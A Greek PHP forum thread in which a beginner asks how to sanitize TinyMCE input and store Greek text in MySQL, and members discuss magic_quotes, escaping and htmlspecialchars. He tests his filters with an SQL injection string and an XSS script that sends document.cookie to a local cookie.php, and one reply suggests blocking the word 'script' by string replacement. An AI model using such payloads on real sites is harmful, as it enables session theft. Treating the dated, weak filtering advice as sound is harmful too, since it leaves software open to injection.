Σωστή τεχνική για αποστολή - λήψη - χειρισμό περιεχομένου.

Σε αυτή την περιοχή μπορείτε να βρείτε ή να αναζητήσετε πληροφορίες σχετικές με την PHP

Συντονιστές: WebDev Moderators, Super-Moderators, PHP Moderators

Απάντηση
skoubin
Δημοσιεύσεις: 5
Εγγραφή: 19 Νοέμ 2007 14:50

Σωστή τεχνική για αποστολή - λήψη - χειρισμό περιεχομένου.

Δημοσίευση από skoubin » 16 Νοέμ 2010 07:03

Καλησπέρα στην παρέα του freestuff και ευχαριστώ εκ των προτέρων για κάθε βοήθεια.

Αν δεν είχα 'φάει' τις τελευταίες 2 μέρες να ψάχνω τον κόσμο για να βρω μία λύση στο πρόβλημα μου(που μάλλον δεν είμαι και ο μόνος), δεν θα άνοιγα αυτό το θέμα.
Επίσης μπορεί να έχω ήδη φτάσει στην λύση του προβλήματος και να μην το γνωρίζω.

(Βαρέθηκα να βάζω τόνους...ειναι και αργα το βραδυ οποτε σορυ!)

Εχουμε και λεμε λοιπον. Φτιαχνω μια κλασικη σελιδα οπου ο διαχειριστης δημιουργει ενα αρθρο ( γραμμενο σε ελληνικα ) μεσα απο μια φορμα.

Σε αυτο το σημειο να αναφερω οτι χρησιμοποιω παντου στις σελιδες και στην mysql utf-8 και οτι δεν έχω προβλημα εμφανισης των ελληνικων ουτε στην mysql ουτε οταν τραβάω τα δεδομένα στον browser. Μια χαρα δηλαδη μεχρι τωρα!!

Η διαδικασια λοιπον λεει το εξης (μην βαρατε παιδια,ειμαι καινουριος στην php)

1) Φιλτραρουμε τα δεδομένα που δινει ο χρηστης :
Εδω εχω φτιαξει μια συναρτηση και χρησιμοποιω την trim και την strip_tags.

2)Πριν το query τα περναω και απο ενα real_escape_string

Κανενα προβλημα μεχρι τωρα.

3)Το επομενο βημα ειναι να βαλουμε εναν editor.
Εβαλα λοιπον τον Tiny MCE. Τωρα ομως δεν μπορω να χρησιμοποιησω την συναρτηση του βηματος 1 γιατι θα χασω ολα τα tags για τα οποια εβαλα τον editor. Ομως πρεπει να κανω κατι για το φιλτραρισμα των δεδομένων.
Ετσι χρησιμοποιω την htmlentities($data,ENT_QUOTES, "UTF-8");

Η διαδικασια λοιπον ειναι ολοκληρωμενη αφου καταφεραμε να φιλτραρουμε και να εμφανισουμε σωστα το κειμενο στην σελιδα μας.

Το θεμα ομως ειναι οτι τωρα στην database δεν παιρνω εκεινα τα γνωριμα γραμματα σε ολους (ελληνικα εννοω!) αλλα παιρνω κατι τετοιο

<p><span style="color: #ffff00;">καλημερα</span></p>

Αν δεν ειχα χρησιμοποιησει την htmlentities και ειχα ρυθμισει στο tiny mce το entity_encoding:’raw’ τοτε θα συνεχιζα να παιρνω κανονικα τα ελληνικα και στην mysql.
Ομως υποθετω οτι θα εχω προβλημα ασφαλειας...


Γι'αυτο λοιπον ειμαι εδω και θα ηθελα να μου πειτε την αποψη σας για το ποσο λειτουργικο και το ποσο σωστο ειναι να εχουμε αποθηκευσει κατα αυτο τον τροπο το περιεχομενο σε ενα table.

Εμενα κατι με χαλαει και νομιζω οτι εχω κανει λαθος.
Θελω να προχωρησω στο επομενο βημα το οποιο θα ειναι μια αναζητηση στην σελιδα.
Η μονη στηλη που εχω σε αυτη την μορφη ειναι το περιεχομενο. Ο τιτλος,η περιγραφη και τα keywords φαινονται κανονικα(ελληνικα δηλαδη) αφου δεν εχω χρησιμοποιησει ουτε tiny mce ουτε htmlentities.

Πως λοιπον θα κανω query οταν τα μισα τα εχω σε μια μορφη και τα αλλα μισα σε αλλη?
Επισης οταν δινω το search term θα πρεπει να το μετατρεπω σε html entities για να μπορεσω να εχω αποτελεσμα??

Αυτα τα ερωτηματα με βαζουν σε σκεψεις οτι κατι λειπει. Και ελπιζω να ειναι γνωσεις γιατι αυτες βρισκονται. Αλλιως αν ειναι τα εχω τα html entities στην mysql χεστα αστα!!

Ευχαριστω

Άβαταρ μέλους
korgr
Honorary Member
Δημοσιεύσεις: 5067
Εγγραφή: 07 Οκτ 2008 18:30
Τοποθεσία: Corinth
Επικοινωνία:

Σωστή τεχνική για αποστολή - λήψη - χειρισμό περιεχομένου.

Δημοσίευση από korgr » 16 Νοέμ 2010 12:21

Ομολογώ πως δεν κατάλαβα γιατί θες να κάνεις strip_tags()
Αν θες να κόψεις συγκεκριμένα tags παρέχει αυτή την δυνατότητα στο configuration ο TinyMCE

Με την real_escape_string() μια χαρά φιλτράρισμα γίνεται ειδικά αν το συνδυάσεις με κάτι όπως:

Κώδικας: Επιλογή όλων

        $_POST[$key] = htmlspecialchars(stripslashes($_POST[$key]));
        $_POST[$key] = str_ireplace("script", "blocked", $_POST[$key]);
        $_POST[$key] = mysql_escape_string($_POST[$key]);

Apostolis_38
Δημοσιεύσεις: 1969
Εγγραφή: 14 Φεβ 2008 16:20
Τοποθεσία: ΠΕΙΡΑΙΑΣ

Σωστή τεχνική για αποστολή - λήψη - χειρισμό περιεχομένου.

Δημοσίευση από Apostolis_38 » 16 Νοέμ 2010 14:41

Υπάρχει ένα θεματάκι με την mysql_real_escape_string και μου έχει τύχει κι εμένα.
Note:

If magic_quotes_gpc is enabled, first apply stripslashes() to the data. Using this function on data which has already been escaped will escape the data twice.
http://php.net/manual/en/function.mysql ... string.php

Σε μένα το magic_quotes_gpc ήταν Off κι έτσι έκανε δύο φορές escape. Δηλαδή στην ουσία δεν έκανε τίποτα.
Απλά γέμιζε με slashes το field :D .
Καλύτερα να βρούμε πρώτα την ρύθμιση στον server, αν και συνήθως είναι On.

Άβαταρ μέλους
Khronos
Δημοσιεύσεις: 754
Εγγραφή: 11 Δεκ 2006 14:43
Τοποθεσία: Ηράκλειο

Σωστή τεχνική για αποστολή - λήψη - χειρισμό περιεχομένου.

Δημοσίευση από Khronos » 16 Νοέμ 2010 15:08

Apostolis_38 έγραψε:Υπάρχει ένα θεματάκι με την mysql_real_escape_string και μου έχει τύχει κι εμένα.
Note:

If magic_quotes_gpc is enabled, first apply stripslashes() to the data. Using this function on data which has already been escaped will escape the data twice.
http://php.net/manual/en/function.mysql ... string.php

Σε μένα το magic_quotes_gpc ήταν Off κι έτσι έκανε δύο φορές escape. Δηλαδή στην ουσία δεν έκανε τίποτα.
Απλά γέμιζε με slashes το field :D .
Καλύτερα να βρούμε πρώτα την ρύθμιση στον server, αν και συνήθως είναι On.
http://php.net/manual/en/function.get-m ... es-gpc.php

Κώδικας: Επιλογή όλων

<?php
echo get_magic_quotes_gpc&#40;&#41;;         // 1
echo $_POST&#91;'lastname'&#93;;             // O\'reilly
echo addslashes&#40;$_POST&#91;'lastname'&#93;&#41;; // O\\\'reilly

if &#40;get_magic_quotes_gpc&#40;&#41;&#41; &#123;
    $lastname = stripslashes&#40;$_POST&#91;'lastname'&#93;&#41;;
&#125;
else &#123;
    $lastname = $_POST&#91;'lastname'&#93;;
&#125;

// If using MySQL
$lastname = mysql_real_escape_string&#40;$lastname&#41;;

echo $lastname; // O\'reilly
$sql = "INSERT INTO lastnames &#40;lastname&#41; VALUES &#40;'$lastname'&#41;";
?>

skoubin
Δημοσιεύσεις: 5
Εγγραφή: 19 Νοέμ 2007 14:50

Σωστή τεχνική για αποστολή - λήψη - χειρισμό περιεχομένου.

Δημοσίευση από skoubin » 16 Νοέμ 2010 16:22

Ευχαριστω για τις απαντησεις σας.

Με τα λεγομενα σας λοιπον μπηκα ηδη στην διαδικασια να κατανοησω καποια πραγματα που μεχρι τωρα τα ειχα περασει στα γρηγορα και τα θεωρουσα δεδομενα.

Εχουμε και λεμε. Στην περιπτωση την δικια μου (magic quotes = on)

για να περναω τα δεδομενα ασφαλη απο τον εξω κοσμο κανω το εξης.


$content= htmlspecialchars($_POST['content']);
$content=stripslashes($content);
$content = str_ireplace("script", "blocked",$content);
Πριν το insert
$_content=$this->db->connection->real_escape_string($content);

Σε αυτη την περιπτωση λοιπον για $content="x’ OR ‘x’='x καλημερα" (μεσα απο tiny mce)

παιρνω στην mysql

&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;x’ OR ‘x’='x καλημερα&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;

Μετα το x' δεν θα επρεπε να ειχα \ ??


Και το δευτερο ερωτημα εχει να κανει με την str_replace.Κατα ποσο ειναι λειτουργικη?
Με αυτο τον τροπο καθε φορα που βρισκει την λεξη script η για παραδειγμα την λεξη transcript θα την αλλαζει. Και δε νομιζω να βολευει αυτο.

Αν εχω καταλαβει καλα μεχρι τωρα πιστευω οτι μπορουμε να την παραλειψουμε σωστα??

Αφου εχουμε κανει convert ta < > σε &lt; &gt; ποιος ο λογος να μετατρεπουμε και την λεξη script?

Ειναι λοιπον αρκετες οι παρακατω 3 εντολες για ασφαλεια απο πιθανο attack??

$content= htmlspecialchars($_POST['content']);
$content=stripslashes($content);
$_content=$this->db->connection->real_escape_string($content);

skoubin
Δημοσιεύσεις: 5
Εγγραφή: 19 Νοέμ 2007 14:50

Σωστή τεχνική για αποστολή - λήψη - χειρισμό περιεχομένου.

Δημοσίευση από skoubin » 16 Νοέμ 2010 17:48

Λοιπον..Μετα απο δοκιμες κατεληξα στο παρακατω.

Αν κατι ειναι λαθος ή δεν συνισταται πειτε μου το που και το γιατι , ωστε να κατανοω καλυτερα τους σκοπους για τους οποιους χρησιμοποιουμε καθε εντολη.

Ετσι λοιπον κατεληξα στο εξης.

1)magic quotes off
2) $content= htmlspecialchars($_POST['content']);
$content=addslashes($content);
3)Πριν το insert
$_content=$this->db->connection->real_escape_string($content);

Το παρακατω δεν περναει

<script>
document.location =
'http://localhost/cookie.php?' +
document.cookie;
</script>



και αυτο
x’ OR ‘x’='x

γινεται
x’ OR ‘x’=\'x

Λοιπον?

nbc
Honorary Member
Δημοσιεύσεις: 526
Εγγραφή: 05 Σεπ 2009 20:12
Επικοινωνία:

Σωστή τεχνική για αποστολή - λήψη - χειρισμό περιεχομένου.

Δημοσίευση από nbc » 16 Νοέμ 2010 20:01

1. addslashes()/stripslashes()

Καλό είναι να τις ξεχάσεις. Αν έχεις πρόσβαση στο php.ini, τότε απενεργοποιείς τα πάσης φύσεως magic_quotes. Είναι ένα από τα μεγάλα (εμβρυικά) σφάλματα της PHP.

Αν δεν έχεις πρόσβαση στο php.ini ή θέλεις να είσαι compatible (αν και δεν προτείνεται, καθώς η ρύθμιση είναι deprecated), τότε βάλε κάπου στην αρχή της εφαρμογής σου κάτι σαν το παρακάτω:

Κώδικας: Επιλογή όλων

if &#40;get_magic_quotes_gpc&#40;&#41;&#41;
&#123;
    function z_strip_slashes&#40;$value&#41;
    &#123;
        $value = is_array&#40;$value&#41;
               ? array_map&#40;'z_strip_slashes', $value&#41;
               &#58; stripslashes&#40;$value&#41;;

        return $value;
    &#125;

    $_POST     = array_map&#40;'z_strip_slashes', $_POST   &#41;;
    $_GET      = array_map&#40;'z_strip_slashes', $_GET    &#41;;
    $_COOKIE   = array_map&#40;'z_strip_slashes', $_COOKIE &#41;;
    $_REQUEST  = array_map&#40;'z_strip_slashes', $_REQUEST&#41;;
&#125;
...και δεν ξανα-ασχολείσαι με τη stripslashes()*.

Η addslashes() και η real_escape_string() είναι αλληλοσυγκρουόμενες. Απόλυτα λογικό να καταλήγεις με αυτό το αποτέλεσμα. Χρησιμοποιούμε πάντα την real_escape_string που παρέχει η βάση μας.

* Υπάρχει μία περίπτωση που χρειάζεται, αλλά είναι άσχετη με το θέμα. Έχει να κάνει με τον modifier e των regular expressions.


2. htmlspecialchars()/htmlentities()

Προσοχή στην παράμετρο $double_encode. Η default τιμή της κάνει ζημιά: αν ξαναφορτώσεις κείμενο για editing, το οποίο προηγουμένως έχει περάσει από τέτοιο φίλτρο, τότε θα έχεις φαινόμενα τύπου το &gt; γίνεται &amp;gt;, στην επόμενη γύρα &ampamp;gt;, κοκ.

Αν δουλεύεις σε έκδοση παλαιότερη της 5.2.3 (όπου εισήχθηκε η παράμετρος) τότε πρέπει να προηγείται η htmlspecialchars_decode(). Μιλώ πάντα για κείμενο το οποίο έχει φιλτραριστεί με htmlspecialchars() και πρόκειται να ξαναφιλτραριστεί.


Τέλος, το tinyMCE (εξ ορισμού) στη ρύθμιση entity_encoding:’raw’ κάνει το ίδιο με την htmlspecialchars(). Πρόσεξέ το για να μην έχεις το πρόβλημα που περιέγραψα προηγουμένως. Φτιάξε ένα δοκιμαστικό κείμενο με όλες τις ακραίες περιπτώσεις, δες τι σου επιστρέφει ο editor (σε raw μορφή) και πράττεις ανάλογα.

skoubin
Δημοσιεύσεις: 5
Εγγραφή: 19 Νοέμ 2007 14:50

Σωστή τεχνική για αποστολή - λήψη - χειρισμό περιεχομένου.

Δημοσίευση από skoubin » 21 Νοέμ 2010 01:32

Οπως ειπα και στο προηγουμενο ποστ εχω προσβαση στο php.ini και εχω κανει τα magic quotes OFF.

Συνεπώς σε ολες τις φορμες της σελιδας μου που δεν κανω χρηση καποιου editor, οπως ειναι το tiny mce, χρησιμοποιω

strip tags,trim και real_escape_string.

Στις φορμες που χρησιμοποιω tiny mce, κανω htmlspecial chars και real_escape_string.
Οπότε πιστεύω οτι απο θεμα ασφαλειας ειμαι καλυμμενος.

Η εμφανιση των ελληνικων γινεται σωστα και στην βαση και στον browser.

Σας ευχαριστω για την βοηθεια.

Απάντηση

Επιστροφή στο “PHP Προγραμματισμός”

Μέλη σε σύνδεση

Μέλη σε αυτήν τη Δ. Συζήτηση: Δεν υπάρχουν εγγεγραμμένα μέλη και 0 επισκέπτες